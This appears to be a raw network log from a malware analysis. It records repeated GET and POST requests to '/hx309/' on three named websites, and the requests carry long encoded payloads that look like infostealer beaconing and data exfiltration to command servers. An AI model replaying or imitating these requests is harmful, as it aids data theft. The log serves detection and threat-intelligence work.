http://www.theelectricsheep.net/hx309/?t8r8=gkWXZEqNNmx63cExGA2uH2z5d2s63YvKrZozaQRHoLGPjy9er+qzu7WbQXGZoqrbZvqD2BkB&9r4P-=J4k0
  • Hostname: www.theelectricsheep.net
  • IP Address: 109.203.122.210
  • Port: 80
  • Count: 1

GET /hx309/?t8r8=gkWXZEqNNmx63cExGA2uH2z5d2s63YvKrZozaQRHoLGPjy9er+qzu7WbQXGZoqrbZvqD2BkB&9r4P-=J4k0 HTTP/1.1
Host: www.theelectricsheep.net
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.theelectricsheep.net/hx309/
  • Hostname: www.theelectricsheep.net
  • IP Address: 109.203.122.210
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.theelectricsheep.net
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.theelectricsheep.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.theelectricsheep.net/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=oGatHgnrZHx1lIpEOEfobmHednwTyMvPx9chWTpUkI6MjSsY(bv6tc3jYzmg3b(Cetn2(VwEJG3w634iYb2G5S60KLMHWxkgsS~IKQhlfK~IZMZuJLOQNRuvEBcQuX~fXQa8UuBWgbG037f-bUnJn9e-BRdps83vJyXNL-o-ERo7HxWFOOW5YngpVVdTjrdGZZIRcHK3lhfjzroR0DbCMRn7sikRndW4R7WM~SUtCnnDkqUThW009uVe(9xNXG0s64B-ufY207d0TolzkJyvNgwYbI6GxPctgCHqmegngO1yIb5TWZHRgOjyb5Vk0MYnoEu1ObUAJHJMiWTszWjNHmr8AfXagP1RWz0yS8t-YSB9EE7CRVLtjsoZQ2nPwxp0uiMhOG2fGIX168P82P3qEfS8wv2Ky8tiFaPnuBdaVq9M~Nz1i6MUTxiW0A0DqwHY2M4UfRrYeTwSc7ejh654ne6qg9Y8672IDUFcjmy-7C3zFuv1uKmSUminpKRpZ1FGTwVy6u9K67y0XGh_NabtkdmJyjAjTCX7A6oxQmS2BAPML4ETm0d80dJ8RS1k(OzvUlVOGxRzTm40WImshykQybFXWHMIWLlewu6W3G(CazVCgVrqJssCFE8sHHmGWYraiTLdplYYj5RctAt4skvpa8rW2hcZUzOvBaLepmfQdikxkvWVaB91iGagDiscWWXykwE_qaapDVwc8PDs(G4A~H6csD0ZGDdsjGkBQ4bPl2Ulp9vd2cqHcRaQ8np9s1UNca7QIToLolSC56~dHJhbgyv2Ln(qd2riJDHLWdAX6FOCn3KvYBEY7bTertYcrlrNtLLeC7wXEPiT3YTac4lZPLydV-rdACASwxut2-mAEQsmCwYuAVVVcdpoihjgy62kOkq_WzwisZ0vFljkh4fRMSEsIetEnzcKq_0UGvoiU7PcGs~xscg7mtFI7WVlUhejf6VAGoIqmi(gltEhf5ETUSlbg75C7K9w(wKSF0vV55kF(AgR2pdMEVWEGRhd(8SDzmM8PQX7mYIi3bCUKKm_LXSTMDs8rLq5LUjdflvJssodTi(PoxmVSKR7KloJurIpS2qSar6A6D614NsaYJeEG5Lnyjk3fkw1aHRA7_vSuWrRnOiYJ1(KXv9S~a8Hub5XDW9pDEkItrXHDUQAEXt6S1W8iLK_qKvCL99rzpJ-bzDY~_zROWpJ2MY5O_ZcDHD01lZqDu3VHGFqF9gerEQbFGCzzCBrC3FL2ZKrIS0f4hV1EwyMHtRv8XuK9hMjyMw4SS8mPw9OoKybbo3vyRHy9RwvDdYQX-Qak3kPZYamneCQaVgfx7iXc1OqntiTu80Lj2IFTyXHDiOgKqrocA8EJDrBnG6qYdGcuZkobWue3Gb6f0LT7eG3aNIGv8ZngB7WU3tSQsQbfcjMkzoVhzOGhVpkBA9eKe~55SJBQmG-q1hHbqESjjSZCBS45qdQJ8e-VcyAjOanqcnyQKtVOZwKHObPcRgEa-syks0JC4vrfan9K4tZ1p(Gd4Lr6C9khGnBVrvnrPHrIukHVuYOXbiIT2~DPPwLLy53ODmZHlI4yNUZK_waAyoz(RG75PYL0M5fcNRezKRw~qPKbXclUv(nZKU3RQjHsS(C(Mu6D0BvrdSjLbHSQcke7JRbJSdbNAQufAMf5xYGo-7tjmhYIXD0BZOUY-fr5ENRpxonzr23OgGpueBY0spbzpYJboPrjNfsHOgANBYtpWHyrTaLLP3f9TR7kTgaOHr7NNJKyDsCadYyNPqvz3eYRv2Nj2cdOLsSrHnMh9bBxL6_(H1bSR3T86ynKb3W2dMxX3Ve7GsTG_smZyb187bbJDyelvC-Ohv_u4lRdQSrrtZXcB2syziU84pLEObOdxVRxS~odSF_8DtZ5BbMOSn996VRXLCDl6XeaAPEjJ~n7IgWXiAClffNtFPTT09Hzv1VYmjsaxDXnc~Ow9OCTqCXUx3qzPNl7TYPVdxw0byJxtm-ZIjY8bC22bld5tRrePMd4jaHgv9EwRituvHn7BlooCsPOHT5xBoCR6LQ~szTVpQd4nYQPtOiqdSo5PiVC1Lm41ISUWx3RBrcQskkVNd7(4tZG82erZATD6cZ0izImfb9(9k36b2Xtq2HIF~1MmANo8ptGA0zDBzGZ_KyTv5CWZ4cEpQGu-xYPQpgsZ7pJU8d\x00\x00\x00\x00\x00\x00\x00\x00

http://www.theelectricsheep.net/hx309/
  • Hostname: www.theelectricsheep.net
  • IP Address: 109.203.122.210
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.theelectricsheep.net
Connection: close
Content-Length: 57150
Cache-Control: no-cache
Origin: http://www.theelectricsheep.net
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.theelectricsheep.net/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=oGatHhfRVXlehJE8ElP4EWXNW30Z(7rgv-FyWS5Y(ZqByjcYoIG83s3gezm_86DTE_3-(U1fJGvzulAnQZOrlSmhILIeAH4vvwDXfhplG5iKV-xxL5mMSlGhMlEjnAjzXy2CDfN-3pW_4-ywUXXV4t6_JyhvsfCJMzXFWOwpNwM9Bh2NOPiqMWw6fyglp4V8dYMRQWCnqHThvZgJ5wDvA0vCpg8Wrue_Q4uc0ThZPFLxuY8dsW470ek8yaNiXWY177l2zvEn4pR4YZFLlq~dNU1FWpyGou8rugfioegMmKYzTL5vWZTJg-WDHJVY5qI0~FHoYupdJ2ZMjw(GilLCZWrjPfGCqdwdWzkmSMl-Wwl9XwnBXVLttMobQ2nHwxpRunQlPG~fOpr37PH2ypXkavSw8LiQ(fosFdj_uhhaY-FTu8jx17MbGD~8jQsTqwKWkdoia1jJfTwRXrTvl-tv97fsoe5U8KSiC1lZkGaE6DrnNOSIo4qWSSrY4aNHUnxTSQxMq6dyzaK6U05PBY2s7sKYq0x4DxfEEIJjCmPhG2DYRoYEunpwlItpYBFqt_jUWXlJSRJqQm0VS4GThQZH5eRjeHQ1Zrds~uytwm3jNAhjpBbiBYkxAn1TQzaQU8XbrS7Amkk7naZPhztwzU7Ze9qj3xo7T2iacr(ltA(1ZCAMqa2NBABVmhuaOXoxGjjK5BwAiZ6kFARk(-mX60k783y9hyErHw1JjGsFQIfPk3Al(8ve2_yEWhae4npfyFZicf2LaD8LtXaE45mHCb9suSvuNmy7LFzfJArhXdstrTSBi2qVfBEf77vlptUv2U6Qt7f0JqM-Tda5yPvTZdNeLLTAWemEajN44QCrpt~pMyNnOwMUGQ4YYat530O02uG9MUarEw8xrqdhdnqxgd7jRiQXVuNhkhVl9fshX_MAN4LOMIqltMsd1pAh7jBxF12_dJsaAsA49ju-kpERb-F3WA0Lgb8Rk_dl1gqUHl3O3Kln5lUb0skoZHXlHyMq39KN4xEqJjuFgL0X2KKGNKzWAFy3Azg3mvDcUTPmdWv8q_EsQQTZnFmxB9FFcGFZkqR0emKTS_La9ii6(84iRLC8A6azx3w8VHY_aFl27dTSvGjR99GYTki-Kuh5~p4RxeF_GUJrAh4Xr5(eSG0jLSJSCXSSm-yyhtPfIN0WxeECbwjY~YzAL3Fgw-8iH_gDM0K2xTx-P-joAyVKOaVOni56O0ynxwFxDnVG053WPXoD5wJDFTyZGu5-jXjP2xFGwMkleVIwXTh5wt21CPn22gzE0RI7LeE_Td8SgG8Ia76rh9S4TzhPh6y7JimHmsCM55sGnAAiZSjFOwyGErv8UlIgFAfOuRS0UvCM0Yw1b0(HwX3iFX2FnbzHasQbkPRNlyeLQFAuUeA2X8PiqjsO13yT5VkIOl0YCfu4q1B5CH6G5XwsZ4AfvQCGBBT0w6UXB9q-VcqEkuOIrrTCRfZgergnWfzOZS48f_wooMgSI6b5TZnyF5t7952zN56z~CBaznjGD5SKp8n2KcsveeMOEaDsU0Gnd-IhFiIkMBmFM0owyOwHNeYBbyk46xDj0rElwssjK8Fa8bJI1b2lflklZ9bjC7YjOj3dtVDe0JGhIj5Jote_eYyDBMFL0YUSeikWJmUvVgI34RUk8snf2kJXCXGqKY(zeOf11HBwoB1izuDLI3KuucRb8e5YzaYuPcL8iKePDsRyPg5mmHeog1X_NPHWzAdThVoSPjvNOsF60BoPasIgbMmR(lGSc8i2iHULI5cW~gXbl4vwzInMkXJYTTfApqugL-zx27sDbXtxxFFGeNEFcAbh5_DaBzfbsuabG1XKlpNJLn~WtcVXOT~rljm8qsVdHPzxQlBt0nDfMiVq9is9ySL7OWzZ2qUmaJDytcj7CXvemNuNtMI3Uk8AsPnN03KyXFF-2osxDUzgTxapm_C12_u6KLeJfBLFz_1YsS19a5V9qpeL16e_BcPw(eqr4Zll1pBDePkO9gvXr_x7p0G-~Iuo4zBwohQrN0TvuA0UMLfh(_uuSspt8mpHJNSttO(g5d6jQB2l4QAQZ1RVbAG4PPQTfs17i_JAFoGXz7gbHKhn3Qvz4Nzi47cL3LC7obDbCmPGOlE7nuN6HjcOT3bPYYX5WMd9FolrctMij7JhPxIx9ve9OBps8wBsWQZHnqWJ5_Bs3XShh0z-MEnefabXj7Td3xlTP_FPauSU1sTpq4IawZVF2xiDP3qCZn3kammMf9~mN7QbK8i3y_QgrC(TtWKHzq3cYq5aYjKXVUfQGnMJDsaB6GDYmJq1LCdyaujMexjPF3J9RmYj1tyqdPtPETcV2_YU~8yGRYClBEd873JubPFfsAfSMSs_bG

http://www.minsterestates.com/hx309/?t8r8=+g6FxD5LHS93hqOC+X/Ne13+OGwNouaK/IJHJ+x7qIpQv535cgpr5NwdejvdWxMoS91Km1j4&9r4P-=J4k0
  • Hostname: www.minsterestates.com
  • IP Address: 104.167.23.20
  • Port: 80
  • Count: 1

GET /hx309/?t8r8=+g6FxD5LHS93hqOC+X/Ne13+OGwNouaK/IJHJ+x7qIpQv535cgpr5NwdejvdWxMoS91Km1j4&9r4P-=J4k0 HTTP/1.1
Host: www.minsterestates.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.minsterestates.com/hx309/
  • Hostname: www.minsterestates.com
  • IP Address: 104.167.23.20
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.minsterestates.com
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.minsterestates.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.minsterestates.com/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=2C2_vncpUylWheL55QuXBRPPI0BZpui0jcIeEuFehM9aq6C_YR1Gm7FRfln6OSEsBfM1gSKs3eLj4OUr0rLVWQ71aALc4bixtxu7nMLC2LjLixAURn8_(Ki0SzSgCE1omj6bX7WLpPd_Sm(ClmfamKkO4z9LmzZckvJ3L2iuAQCVUcoCzfnWTx2XMlqNTWmjLvpFVV(4Mi~h6eV6(RXcDJe4mUrN0t1-rzZSPdTdrhoQR54Jc-Vl3fKccHW7VgbkawUDZy(jBUYi3z~A7-0o~dlkb6O7R7E-oIZjUsLE78~Bx8MQ3YCIhJGCy5LX5toxSg1AKpwS~74IW-b5CrGFHWtSSIXD8UAW4_nsmdBifzff1z5FwL46pd1kMzowj1ms7UBKu5J1ok0Vk0VJmdcivwJ4ZBfeTZSIGri1yLXwtp~QmAf9PbmC9nxsD5uJHvHB2HgN5ZkA(14RRWkpOoPgEZlMoF7glAguBaVPdpS5g5lwS3xVvRJMgALXbtEBrr1HBV1SYrirIW7F9CNDXSj_22MtxL3NITNlUyrdxzIm0ri3au6g4PSCZR5w5JBTlRMWoOsOv2z_L2YoE_fqqYgIjiTJHSpu14kdLps9GFIEC01_nEcgLWx9bNZd8cZoEJjRTxY4wficvvkSKjfDtvb825jI5DdntX~OYD58d_nGLmGZOWjFxFUCC-qJc3rJhNi0jQESw76TTZ4IYxfzoe0M6_5LBvoT81(ryD2SIV8DUur0aaJkxAmhh8BzyUk2a7VlE686zNAPrwGNKlzXnMnkVorEIDS9g943vu1ogFzRu-qoRpxLOUdu4hPFPFn222irtf~oFsTFO8X5A_pBwol_b4I_rO~-qw5_D3ypdczx4SRFxV1bKZKrjg3RDZZh3m0IkM(AocLn9M2FOS61m1pvaqMRdxakrIXY9a83Q5(5IbHKG10_w80VNzL1231nBvmmB_uI5KDNGm(0MvE8Z4~wZJXWkBFdYqY0E1ixs-C2k7wNRoIu2UtWiLHqUBJYVlO_n0kHB40Nr_deJEl2axQUciBf2sMSqOlm6noz~paZm5aSTJcOBfwIV5VEFaw3Nynz38soL29FaLDKvQbcDRqYZaQ-bBkTVVGHFI~PrFTIYpZDa0RGg8DdOe6E8E5sYR0kg_PZcmYKZtpEXDZDSsQAtX8Qdyj8MCjEVuJD(Cj10pXGO1w6xQKDlDMgi0nFUsgLar3o~Mb8F_(1gfnOVpUTI1MHJVcv2twegqwoFJrTEN(Xy0qjLySFIAHIXY4OPwDC44Uh7HkQHAU_Hkx79xKCXutZbKPAicMx7QDhqIALZFyteKtyJh3Vya0ayyfIUjWnecf6G9Fdmr9LCbOfhBkyQlVuqly1(c8GmwBbGHO4~CZjxvi_UOp6hzghTVpd6bJCCeEWGLfF~XWA3ZOHXLTBwDGI3AgsORCIbTgSdGzlZiucZhBlqrc-Ydd7g87GtQkElfHmmMYEtSLShMird4n7va2RBtnC4P7uf-FYoBnxtiAdFNYWFawzxPYt7LKlGKSrnMrOCEtZQn61C4Fu7B5qbyxBPViuDld18KJ2vUDbmyGQ(A0K7ZFg1dZN3xr0JnOszDY14NeYrvE_Kw4jDThF8jVmPY4m8iCpJATFZ6TtFDqJvmT5v3FVfTIVJzpqFZ4X9guICwAjZQaP5pyzkVTp4M(9vfSm0EZTYGF_Yv7WaXLRhNqvXAZ9uquuXT~PWTF4KTrlp6dbxFEJPw0HOHebNYcI~NiWqd~9DRDs(pUP9ygM7sGUtr75D3OEvLcsESosk1ih4U0t(58T~0Kikddmeamt0kleLx2jqH6oKZwiIpKgmdTCjtlGs2hlPh6GpyD8DjZrgJU7lumIneszOQnLIfPxVtmd9dx1JykLUOJdivP6edwmD8AUTV8YtO4zz6k59uCT9osyq9TnfRO1D2F3ie0Y8XnBHY9_uPdzexnjivU-CrARHXeIKot0HlfRTFpmEVu2d8xeSfEcEwI2i_F3GCnUywqbiOAh7WLUl4O0bYkM4ezcHieW8Cia5yOhUBwkEIb045HVxI5dOTKNXY2vssz04xRwsMI2ds2y~neF9-LDPMB4d3zjVSfKofhDQnvcL69JNcIgXkv-1kP2bEZqPp~Nya03knRwIL6ME78ieTB3urrTxnSrxpp6DUF-n6kL6g~6UTXtIt2Z\x00pJU8d\x00\x00

http://www.minsterestates.com/hx309/
  • Hostname: www.minsterestates.com
  • IP Address: 104.167.23.20
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.minsterestates.com
Connection: close
Content-Length: 57150
Cache-Control: no-cache
Origin: http://www.minsterestates.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.minsterestates.com/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=2C2_vnobHyhL3tiN9R(acA(YHkEXr9zOqvwCEtNaqo5Ig5K_JEhBv7FSZln5Dy4YMsN5gTOG3driwKIiyJTCKQ3NH2n_ppquuTTiiI3C5bnJ9yoxWVYJg6~6dWGpbDBZ0QKfG-ivjqZlXDGrkCnW7LAB3QBNmUp2htsqEW70DSebQPQKzeiidS~ECGb5NwLUBIJFGRyjDA2jx5pi4C(hE5PcxkaLrtV5mRxZL8nmmEMcEeUxafgr1Ob-bEmqV0j9XW8LaTSbDmUmvx2839Yw~s0sBpe7Ibk4krx7QMLvosmF(cN53YPLg7bx9ZKc3P8iZgsVDL4CwqIIWdTQKJuACWtzOszQrTod4_34ntZiew7fyTpG2L46~N1mMzoOj1mV7WRWv4N1ukgTlF1Xz_AsjwJ0YAfUCJPXGqqtyqrwj4aT0RO0HqmDyGFaYKPWHvKP3GxsvIJM414SI2Q6FKr3ecBTgkienwl5B6pAdJa9h-knLnVj5zF-sVvwftoZl6Z8AxdseOCTOXCK9wkkWzWm(WYS5sPXaDdKWzi9wjMymIaFFe3ixZTZPA8ozrtduj0Tt9sJgmbAK3knAOier9Iynx6yOScQ35cFR8ANR3o5GXwvhxBzW2VeJbMuzet6Gtq6GFI66dq_oM8rIBvxltXM4e3G7TACuW2rGR0QX4KuPGyoGiaF815jHZfoalTvsMbfrTFilIqORMYHWgKAiNpqztpHD-Yb(HnWyD~OLloDTvP0eZRn2hnpvMB180lte7YwE48mi9EPtDucYSnngbPpRorcHiO4xtYGvokyyW3r9o~rUoQjPUcoqQD-NEbN4WSRtPKGctfVI6LpLMBYg9R4RbAFquiKgkQXIWfiYvHfzzZz9VQgIdGj~yOIaM1mgEYRme3EtMve2qSOBHngnURZYpJ3Yyirrae_5roGKazTDJCVIRgrxsYNKnv22jtVBKOMEJvI(OCGfHK1NrcQd5qJfdblnipnXLAhNlC3rNyt06kwTNs85w9t9Z3YVjkvdkW1qjsNKrN9lINvajwSSh0waQhrlMBmpKFGlGcYl6a4qIPgQ7wYOqY0WaJ2V49VE3yo6f0nQ0cffvnFvl7sPUqwbYRsYTlBe0GZFNiyqnvIU5hDbjlG6OHgDPna8WdMGxA9l4bhdFhNXb1NGSVeGYd9pFIyZGj1CjndReAgqBjS0rnGOSQF3wXTqmlmlUvJbfpdfZSxmt(Rf6DVmYrlWvksVDotMkgE3-4D85EMVbzQEdjH1nrhZnOyKzqVfIgyNwXf0-8zwXRSM2IrSDIR5CWZdvVvCa7Vg6059grmkKAGP2SeC4pFPwHD39VM8j(XGVmPburNcI1Xv6ppIbS15QsOVHQWg2mF1ql9sCN8Gkf2zw9r4-2Sc4N7gRBjD2hJ(sZbTcojC5volmyUzZ7PWqrU(TaQ4jU0VlGPS0o6ZXOAfxuHczVesrlvZddqqsjSwSEElffirPkdrhfUhdjWXa3atbuQLIqX5Nf0GuRCvk(FvAQBPOAOGq476tB1s6nGB-Kqst(0D11IRUCRJIJu510MPAZ1dGSqHVtbo8V6l0jTm0WX(kwR2pRj5ddqxzzeLDPQ4jQ21ZCkztpSFjQjNC9Z2ENUC7sg9lulHD3eTY(XEzed~DS4oXkADScTEzB6A6ASsRbbDVZwDDGLyaa2n1Pj5cCc8PSGzXVyY2YmYtqifEDShP6sfyZuuZ~sc2j7XV5GAQbdub9f9TQWUC8QFkWJQd8s7PWOr5yPXQPcrbw88DwaqLb3h5CnCkbs9Ph8RQ4StmHbulVV96gtmEmjjuowX66q5RwOLTadpFqcEowMUriptKakkutL~nNjNAirijfjOzxzrrM8nfqIxsUwJw6XP-37UsKii_JFNHYxdNRujN3VP9IhD85rVl97srdI4Y8c3N23l5IchMfGcSW3AGd35NAT3F2RVLwZ2f1RZVCVwco9EpATOGOecM99HUHwWHsUZA~7EKIPdolXMz1xj9BqNGrwhRWjiP4I2Ev5iNX8Fb4l3MvCH2Gz(hey5FCrXTEcJp(B3IyiwJt8TjbsR7qsp-jb829ooMo0eNas0CKr08~XSsdhRVzjdU3f(eM5KBbEa5ZqPpJWalTliSPOSU0KRKi_85URvE17GZeACZE5OAJAvKqYlTPzo6I-EzESgPYp82rWFmvdHq(zeC7iQsrQ1p03alXS8SU8fX2wsyVxBr~0oM20hhJGba0hAEuG9Xxc8q17xEKmdlvvI1ymunOhEWs_gbwlzwWVOQ6bU4OaiOghIDTPtdQ_MyKl85nfCs17436acA1rhZFqUbXuyY01u64ftcf58lZHedo3PuK5uK2Ed6gfXTwlb1NY9lfRfH681ELGoW7ehXTC5qk6FCRd5tL7

http://www.greatploinsstructures.com/hx309/?t8r8=+LN89jMgHqGJaHoCE/lxq9DKXAFWxrZuyKiuoJJ3u2uPtDhgHAv9uaTB9T64pGr/dOkK+UAX&9r4P-=J4k0
  • Hostname: www.greatploinsstructures.com
  • IP Address:
  • Port: 80
  • Count: 1

GET /hx309/?t8r8=+LN89jMgHqGJaHoCE/lxq9DKXAFWxrZuyKiuoJJ3u2uPtDhgHAv9uaTB9T64pGr/dOkK+UAX&9r4P-=J4k0 HTTP/1.1
Host: www.greatploinsstructures.com
Connection: close

\x00\x00\x00\x00\x00\x00\x00

http://www.greatploinsstructures.com/hx309/
  • Hostname: www.greatploinsstructures.com
  • IP Address:
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.greatploinsstructures.com
Connection: close
Content-Length: 2198
Cache-Control: no-cache
Origin: http://www.greatploinsstructures.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.greatploinsstructures.com/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=2pBGjHpIb9G8DhYZD-cIpL3key195K5qg6vJgbpU536OpwB3EB6t56Wiz0ib7l3mOPcg(BlpN3HBzSVr8Mjxsom3teha9saRB4NWFYuowzEHsUpnvr8QRu2n7ailWS4oiAPnbxrSiUNueReQJ7FAssbFbTENPqh-dnvfAaL7OBJsMD7qf079AjZlkuTl~2lvwMmUgrHOL6(phzGbgnMP4Duqf6ahwpJ0ByqhL59-B6qLeFwXQfEBzQLsdojSVIz283UhpH9vZXbHXy9gOIyHqpUKnhj2vQvEVmzCDOATiOLI3kOZJnd_RyzmOlhN2HPW6tK8Ts7QVVYUh8frb8o7pyVnwBmluj4t(S1DfRzuJHB6g6FxqLLdWZ(nv7caOyRSMCtGMOvzKP7ip-HtArh8IDjBpxfBdIWFNdt711mGcsbAy-1ekIobFPzoRxXEGE4u(mZcZXv6bpzitT6jkvl0(SIydm97q6PJbsc5o5bkB9PsFirbdjCTF7MrIQ0rZjg4JWL_JZgz1r47YrKcp_FNhNdlMlz77l9KOZR5~EY3~tgOreWxbMcv0tdS~rJkjC8zzyPYKlzbgsVEey(dE_HCLJYCq_4nrLXPiQd4PyEO5lqfiHudLZ(STUWk9agntB(epVwzgDobdtjuvduqp-UWvl4X4FGx16xyeWPpGUXdPluhIT60~BV8EXcEJSuVHwSpjqOOWgceRJcTUbw8sD(2bpmyIO0vCxJDO9c38tfWJOdTA9lLeLCNHaPtQsH5Bq6HVdJXHPckxzpQUuyYXI58EgnX7It_egdMMy(NWeWuOZgnHtcapbpDYQVHDN5mpmAk7Ju1ldoybnKPHIptxjHZxYhlqn4UMBTlzmFFMWAs5qDedl5XY0d4IpBy0YMBL8q9FQXywvC1V0CNgUN39qqYBnBIqWEP3DCvZ9MRPOzUv13M94AVdRej4zv8qnZBGOFExIq5ZrkJOWRImi4HHLjPTzK-mykAXIOTTKz5JE4oGhBxWNhQFfiqD-U7tXhGUCy4DXAoadIzHNqoqBd9g87Qd7JkjC01gicP5d7k08xq7TXy4JAvSVaJ4M1jO7sczRjT7_STsDadrFEi6vjxXg9o5Y0qO6bCsBTH(uxPFdMwSB1q(-MtM0lJYdvV64ldmIb7Da4l1WkU9_hFqRzlN42_vGtXvSZjVpJhwyVSM9X4oLwtu7QYg2LVRlLT4ra7jbfBSqNSOQuUdmKrvqGqQh65VD1D4PoXavayOyeJZihIe7PDDSAiaCtgF6LvIMrLsAmHQzv4Imp8hdbSXuckg9y6Oi7AEGEuANVpzV2cpOfRPkbFaxh3Bd4ufoZQ3-srZ4(EKkK4Y80_xSofJqVsZbUpuk6CVyTHrRZY(_Y2mhY_RM8TGrtgme4eRvtWC0hL2RGbC4g4eabj5rqOQjbuqwCHQJKS7JlwnY2t4FjvfSKwIIeEz29u~wa3G_y_rP5xtiOmv_IwmJvFOPTty6uAWhOTOW3aANZIQKYqDDaH7C5DZWC_Zt~UsJUuzQ1Brtzk69vV8nkSmi7xAId4EeMjWYvRxLLmc3N5AzM-Y4xmOaOWcr5Iz_M4fc8LjTHTpurWCHjhy-YsJxueSbnRnHS_GRqo8LWvp0QtA_InO3m3ZujESAJeU43VD0MMjxr-j7y2q0C5u9I76CsWJTqEWLt9s3vPKjCSsrxN(8yBzp(-JDRKNxFlUMrixdawTEiDOpmE3C3wuI4PgL9Z1F9dH-fMar14I60xFgQxw6oOOQEEaj(6u093R2wfWllAEfizVOvRP4yQqecrnKpGLmBNiaJ_fxGY4PTnvnulRTD9B_b1bJ0asTIV~aGYkLXzPZumZVm4mx(rDRkg6s4MasaLGgI7V_V0ur(0giT8p7zuuQ6s~P043-TfWuMNCZ8bB-~HPnAMaOPwn1WMZ23gmFY6LjDLFi7MwLP2o3Si3bxTKE3Dzz9C5xtTAf7fcQvOErxbrAyo3x9ed4u_6fZZ7pR2KqLVVp6kHYL158KBg9eH91Z4ip~bonZiSWpgiHPVcL~_kb~LwFYEyLC17vYMIU3Mx6u63QaYxFIub11pbqLklS5pL0S6qKs09LFO71i4VguhSC1zgT7aDcE7ZGiS0nLHhhGFTIywlQMQ79z3fgTB6deGVXHnxzlKjg(12cuQ4b9ka1kHjMHyDou46ynBtX49\x00\x00\x00\x00\x00\x00\x00\x00

http://www.greatploinsstructures.com/hx309/
  • Hostname: www.greatploinsstructures.com
  • IP Address:
  • Port: 80
  • Count: 1

POST /hx309/ HTTP/1.1
Host: www.greatploinsstructures.com
Connection: close
Content-Length: 57150
Cache-Control: no-cache
Origin: http://www.greatploinsstructures.com
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.greatploinsstructures.com/hx309/
Accept-Language: en-US
Accept-Encoding: gzip, deflate

t8r8=2pBGjHdbZNLnHnsmH7sY2YvVWix305ZVit7_gbZQiCnLjzJ3T3Gz36Wh10iY(l73D8co(DJDN2(CyBdk~u7mu46PvfFD5peOGaxKSZ2ouSABgmBCpawMN6ulz4jrNSYNjjj4SQLqmXRlHUq4IdZ2h4zGDA5HOIEFRCOCO6DSHlBiKUmZf1OHfDpcvPaNgX0a7vKUjb(kTpGvlDnetQgy6w32WbKm~aRzCxP-WLQID4K5U1ABS_Aatw6OYvHDb4Ow71hijDsRfh2IBydICJ7KqZJvvAr2lgPGSguNOOBakN7U4EOtJnQwRFDqCFhPulqQwtDhZOiLVkIUgaawd_QKqyVGwR39qUwY(Slfeh7uIFl63Jt2lrLdf5(yv7cSOyR3MAdaefXzIL7szs(wVNRcRDj79T3hL7ShNahZ1WiGd_3HkvFahZocOuGvYRPyGE1g4VQgd2S8YpztmDm0gqQvlyZsRBhIlunzbM4moev4A8etDiPhNhPBWZUMZDwzTyNOGWPvFqlEzpoxYa68k9pjvtMfYyjpqR51FIZUx1sj2OYS1Or5d6VuwMFDz5lio24y31iefk7ajsRhVjjIK96TObw26_0C2beisVp-Fy8vuzz_rVPOHt2vGHe_2YEfojiUygU1~RRrYK(L66jVnOw2lE4n5RuTy4xXAHbSC16NM3jHOC(x3wpmOn8yOEr-FSC38a3qbjgXUbxpVK02u1CST-KbKekdCBZ6O9UB(drWIOJTLedIeprFQ6PjUsHuZK21VfJbEPYk0ABSVtasTZBbKAnho89KUB8-MwzZRavTZP0mMM8e6roLZyB8FN1_nGdP7Zalwf91ZhW5CbRknnHC1cUApHlLWlj48HpHIh882LLaZFtpa2hOVaJv~8IKPteSDgmt8v2AeSO4oH1Jzriue0UunHZO3xL4cNEKd-X6mnze2Z8JcBSwyCH3qWxVGrtY39icBfsTb2dtnm47NsD2ATCFmTRpL8igYYrJOn50AwYXAol8K7uRMdlqvx58Tjq-LAIUXK0ABcuNpQVBvrKNMYY3tzBLtDYz3Oa43OA65kuK1bs5Zn(F6r5VY9UlrlOM5J6W1HqctX1Y5ennahJEoLl8CPOGhm~K(qVtF8IwQx9q~p4tWGhwWNP96qBhlbHmGYsn2z5TxNJ2uUyxF96bk0o093BqeINCyCcnK